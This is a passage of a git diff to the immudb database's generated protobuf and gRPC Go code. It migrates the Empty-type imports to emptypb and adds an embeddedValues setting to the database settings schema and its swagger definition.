immudb.schema.DeleteKeysRequest + 45, // 173: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 174: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 175: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 176: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 137, // 177: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 61, // 178: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 64, // 179: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 65, // 180: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 59, // 181: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 49, // 182: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 137, // 183: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 137, // 184: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 137, // 185: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 54, // 186: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 55, // 187: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 56, // 188: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 60, // 189: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 58, // 190: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 69, // 191: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 70, // 192: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 71, // 193: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 88, // 194: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 90, // 195: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 92, // 196: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 137, // 197: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 105, // 198: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 69, // 199: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 70, // 200: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 73, // 201: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 137, // 202: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 75, // 203: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 94, // 204: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 137, // 205: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 44, // 206: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 108, // 207: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 48, // 208: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 108, // 209: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 210: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 58, // 211: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 59, // 212: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 108, // 213: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 67, // 214: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 108, // 215: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 67, // 216: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest + 110, // 217: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 111, // 218: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 137, // 219: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 96, // 220: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 98, // 221: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 124, // 222: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 6, // 223: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 137, // 224: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 137, // 225: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 137, // 226: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 137, // 227: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 137, // 228: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 137, // 229: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 230: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 137, // 231: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 137, // 232: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 120, // 233: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 114, // 234: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 137, // 235: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 137, // 236: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 115, // 237: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 238: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 137, // 239: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 240: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 39, // 241: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 242: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 41, // 243: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 244: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 245: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 246: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 247: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 248: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 249: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 35, // 250: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 39, // 251: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 66, // 252: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 253: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 50, // 254: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 51, // 255: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 52, // 256: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 53, // 257: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 258: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 39, // 259: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 260: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 39, // 261: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 262: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 137, // 263: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 137, // 264: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 72, // 265: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 89, // 266: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 91, // 267: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 93, // 268: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 104, // 269: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 106, // 270: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 101, // 271: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 137, // 272: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 74, // 273: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 70, // 274: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 76, // 275: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 95, // 276: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 137, // 277: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 108, // 278: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 279: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 108, // 280: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 39, // 281: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 108, // 282: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 108, // 283: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 108, // 284: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 285: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 108, // 286: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 287: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 108, // 288: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk + 113, // 289: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 115, // 290: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 115, // 291: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 115, // 292: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 100, // 293: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 125, // 294: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 223, // [223:295] is the sub-list for method output_type + 151, // [151:223] is the sub-list for method input_type + 151, // [151:151] is the sub-list for extension type_name + 151, // [151:151] is the sub-list for extension extendee + 0, // [0:151] is the sub-list for field type_name } func init() { file_schema_proto_init() } diff --git a/pkg/api/schema/schema.pb.gw.go b/pkg/api/schema/schema.pb.gw.go index ef27ec7916..c52fa1246e 100644 --- a/pkg/api/schema/schema.pb.gw.go +++ b/pkg/api/schema/schema.pb.gw.go @@ -15,7 +15,6 @@ import ( "github.com/golang/protobuf/descriptor" "github.com/golang/protobuf/proto" - "github.com/golang/protobuf/ptypes/empty" "github.com/grpc-ecosystem/grpc-gateway/runtime" "github.com/grpc-ecosystem/grpc-gateway/utilities" "google.golang.org/grpc" @@ -23,6 +22,7 @@ import ( "google.golang.org/grpc/grpclog" "google.golang.org/grpc/metadata" "google.golang.org/grpc/status" + "google.golang.org/protobuf/types/known/emptypb" ) // Suppress "imported and not used" errors @@ -35,7 +35,7 @@ var _ = descriptor.ForMessage var _ = metadata.Join func request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.ListUsers(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -44,7 +44,7 @@ func request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Mars } func local_request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.ListUsers(ctx, &protoReq) @@ -223,7 +223,7 @@ func local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Ma } func request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -240,7 +240,7 @@ func request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshal } func local_request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -621,7 +621,7 @@ func local_request_ImmuService_Count_0(ctx context.Context, marshaler runtime.Ma } func request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.CountAll(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -630,7 +630,7 @@ func request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marsh } func local_request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.CountAll(ctx, &protoReq) @@ -869,7 +869,7 @@ func local_request_ImmuService_ServerInfo_0(ctx context.Context, marshaler runti } func request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.Health(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -878,7 +878,7 @@ func request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshal } func local_request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.Health(ctx, &protoReq) @@ -887,7 +887,7 @@ func local_request_ImmuService_Health_0(ctx context.Context, marshaler runtime.M } func request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.DatabaseHealth(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -896,7 +896,7 @@ func request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime } func local_request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.DatabaseHealth(ctx, &protoReq) @@ -905,7 +905,7 @@ func local_request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler r } func request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.CurrentState(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -914,7 +914,7 @@ func request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.M } func local_request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.CurrentState(ctx, &protoReq) @@ -1297,7 +1297,7 @@ func local_request_ImmuService_DeleteDatabase_0(ctx context.Context, marshaler r } func request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1314,7 +1314,7 @@ func request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.M } func local_request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1487,7 +1487,7 @@ func local_request_ImmuService_UpdateDatabaseV2_0(ctx context.Context, marshaler } func request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1504,7 +1504,7 @@ func request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler ru } func local_request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1591,7 +1591,7 @@ func local_request_ImmuService_FlushIndex_0(ctx context.Context, marshaler runti } func request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.CompactIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -1600,7 +1600,7 @@ func request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.M } func local_request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.CompactIndex(ctx, &protoReq) @@ -1677,7 +1677,7 @@ func local_request_ImmuService_SQLQuery_0(ctx context.Context, marshaler runtime } func request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.ListTables(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -1686,7 +1686,7 @@ func request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Mar } func local_request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.ListTables(ctx, &protoReq) diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 73d5a5d81a..cebb95fbb0 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1066,6 +1066,9 @@ message DatabaseNullableSettings { // Truncation settings TruncationNullableSettings truncationSettings = 29; + + // If set to true, values are stored together with the transaction header (true by default) + NullableBool embeddedValues = 30; } message ReplicationNullableSettings { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index fc9a7ae65c..295b2ccec4 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -1772,7 +1772,7 @@ "description": "Must be a valid serialized protocol buffer of the above specified type." } }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", @@ -2143,6 +2143,10 @@ "truncationSettings": { "$ref": "#/definitions/schemaTruncationNullableSettings", "title": "Truncation settings" + }, + "embeddedValues": { + "$ref": "#/definitions/schemaNullableBool", + "title": "If set to true, values are stored together with the transaction header (true by default)" } } }, diff --git a/pkg/api/schema/schema_grpc.pb.go b/pkg/api/schema/schema_grpc.pb.go index eb661fbf69..a563035c19 100644 --- a/pkg/api/schema/schema_grpc.pb.go +++ b/pkg/api/schema/schema_grpc.pb.go @@ -4,10 +4,10 @@ package schema import ( context "context" - empty "github.com/golang/protobuf/ptypes/empty" grpc "google.golang.org/grpc" codes "google.golang.org/grpc/codes" status "google.golang.org/grpc/status" + emptypb "google.golang.org/protobuf/types/known/emptypb" ) // This is a compile-time assertion to ensure that this generated file @@ -19,27 +19,27 @@ const _ = grpc.SupportPackageIsVersion7 // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type ImmuServiceClient interface { - ListUsers(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*UserList, error) - CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) - ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) - ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) - SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) + ListUsers(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*UserList, error) + CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) + ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) + ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) + SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) // Deprecated: Do not use. - UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) + UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) // Deprecated: Do not use. - UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) + UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) - CloseSession(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) - KeepAlive(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) + CloseSession(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) + KeepAlive(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) NewTx(ctx context.Context, in *NewTxRequest, opts ...grpc.CallOption) (*NewTxResponse, error) - Commit(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) - Rollback(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) - TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*empty.Empty, error) + Commit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) + Rollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) + TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) TxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) // Deprecated: Do not use. Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) // Deprecated: Do not use. - Logout(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) + Logout(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) Set(ctx context.Context, in *SetRequest, opts ...grpc.CallOption) (*TxHeader, error) VerifiableSet(ctx 